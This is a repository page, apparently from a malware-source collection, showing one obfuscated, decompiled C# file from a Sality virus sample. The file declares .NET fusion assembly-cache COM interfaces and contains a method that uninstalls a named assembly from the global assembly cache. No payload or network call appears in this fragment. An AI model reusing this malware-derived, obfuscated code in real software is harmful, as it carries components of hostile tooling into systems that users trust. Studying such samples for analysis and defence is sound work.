MalwareSourceCode/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0002/_0004.cs
2022-08-18 06:28:56 -05:00

205 lines
6.0 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
using \u0002;
using SmartAssembly.SmartExceptionsCore;
using System;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace \u0002
{
internal sealed class \u0004
{
[DllImport("fusion", EntryPoint = "CreateAssemblyCache", CharSet = CharSet.Auto)]
internal static extern int \u0003(out \u0004.\u0007 ppAsmCache, uint dwReserved);
public static bool \u0003([In] string obj0)
{
\u0004.\u0007 ppAsmCache;
int num;
try
{
ppAsmCache = (\u0004.\u0007) null;
num = \u0004.\u0003(out ppAsmCache, 0U);
if (num != 0)
return false;
num = ppAsmCache.\u0002(0U, obj0, IntPtr.Zero);
return num == 0;
}
catch (Exception ex)
{
\u0004.\u0007 obj = ppAsmCache;
// ISSUE: variable of a boxed type
__Boxed<int> local = (ValueType) num;
string str = obj0;
throw UnhandledException.\u0003(ex, (object) obj, (object) local, (object) str);
}
}
public \u0004()
{
try
{
}
catch (Exception ex)
{
throw UnhandledException.\u0003(ex, (object) this);
}
}
public struct \u0001
{
public int \u0001;
public int \u0002;
}
public struct \u0002
{
public \u0004.\u0001 \u0001;
public long \u0001;
public Guid \u0001;
public \u0004.\u0001 \u0002;
public int \u0001;
public int \u0002;
public int \u0003;
public \u0004.\u0001 \u0003;
public string \u0001;
public int \u0004;
public int \u0005;
}
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[Guid("0000000c-0000-0000-C000-000000000046")]
[ComImport]
public interface \u0003
{
void \u0001(IntPtr pv, uint cb, out uint pcbRead);
void \u0002(IntPtr pv, uint cb, out uint pcbWritten);
void \u0001(long dlibMove, uint dwOrigin, out ulong plibNewPosition);
void \u0001(ulong libNewSize);
void \u0001(\u0004.\u0003 pstm, ulong cb, out ulong pcbRead, out ulong pcbWritten);
void \u0001(uint grfCommitFlags);
void \u0001();
void \u0001(ulong libOffset, ulong cb, uint dwLockType);
void \u0002(ulong libOffset, ulong cb, uint dwLockType);
void \u0001(out \u0004.\u0002 pstatstg, uint grfStatFlag);
void \u0001(out \u0004.\u0003 ppstm);
}
[Guid("7c23ff90-33af-11d3-95da-00a024a85b51")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[ComImport]
internal interface \u0004
{
void \u0001(\u0004.\u0005 pName);
void \u0001(out \u0004.\u0005 ppName);
void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, int pvValue, uint cbValue, uint dwFlags);
void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, out int pvValue, ref uint pcbValue, uint dwFlags);
void \u0001(out int wzDynamicDir, ref uint pdwSize);
}
[Guid("CD193BC0-B4BC-11d2-9833-00C04FC31D2E")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[ComImport]
internal interface \u0005
{
[MethodImpl(MethodImplOptions.PreserveSig)]
int \u0001(uint PropertyId, IntPtr pvProperty, uint cbProperty);
[MethodImpl(MethodImplOptions.PreserveSig)]
int \u0001(uint PropertyId, IntPtr pvProperty, ref uint pcbProperty);
[MethodImpl(MethodImplOptions.PreserveSig)]
int \u0001();
[MethodImpl(MethodImplOptions.PreserveSig)]
int \u0001(IntPtr szDisplayName, ref uint pccDisplayName, uint dwDisplayFlags);
[MethodImpl(MethodImplOptions.PreserveSig)]
int \u0001(
object refIID,
object pAsmBindSink,
\u0004.\u0004 pApplicationContext,
[MarshalAs(UnmanagedType.LPWStr)] string szCodeBase,
long llFlags,
int pvReserved,
uint cbReserved,
out int ppv);
[MethodImpl(MethodImplOptions.PreserveSig)]
int \u0001(out uint lpcwBuffer, out int pwzName);
[MethodImpl(MethodImplOptions.PreserveSig)]
int \u0001(out uint pdwVersionHi, out uint pdwVersionLow);
[MethodImpl(MethodImplOptions.PreserveSig)]
int \u0001(\u0004.\u0005 pName, uint dwCmpFlags);
[MethodImpl(MethodImplOptions.PreserveSig)]
int \u0001(out \u0004.\u0005 pName);
}
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[Guid("9e3aaeb4-d1cd-11d2-bab9-00c04f8eceae")]
[ComImport]
internal interface \u0006
{
void \u0001(
[MarshalAs(UnmanagedType.LPWStr)] string pszName,
uint dwFormat,
uint dwFlags,
uint dwMaxSize,
out \u0004.\u0003 ppStream);
void \u0002(\u0004.\u0005 pName);
void \u0001(uint dwFlags);
void \u0002(uint dwFlags);
}
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[Guid("e707dcde-d1cd-11d2-bab9-00c04f8eceae")]
[ComImport]
internal interface \u0007
{
[MethodImpl(MethodImplOptions.PreserveSig)]
int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pvReserved, out uint pulDisposition);
[MethodImpl(MethodImplOptions.PreserveSig)]
int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pAsmInfo);
[MethodImpl(MethodImplOptions.PreserveSig)]
int \u0001(
uint dwFlags,
IntPtr pvReserved,
out \u0004.\u0006 ppAsmItem,
[MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName);
[MethodImpl(MethodImplOptions.PreserveSig)]
int \u0001(out object ppAsmScavenger);
[MethodImpl(MethodImplOptions.PreserveSig)]
int \u0002(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath, IntPtr pvReserved);
}
}
}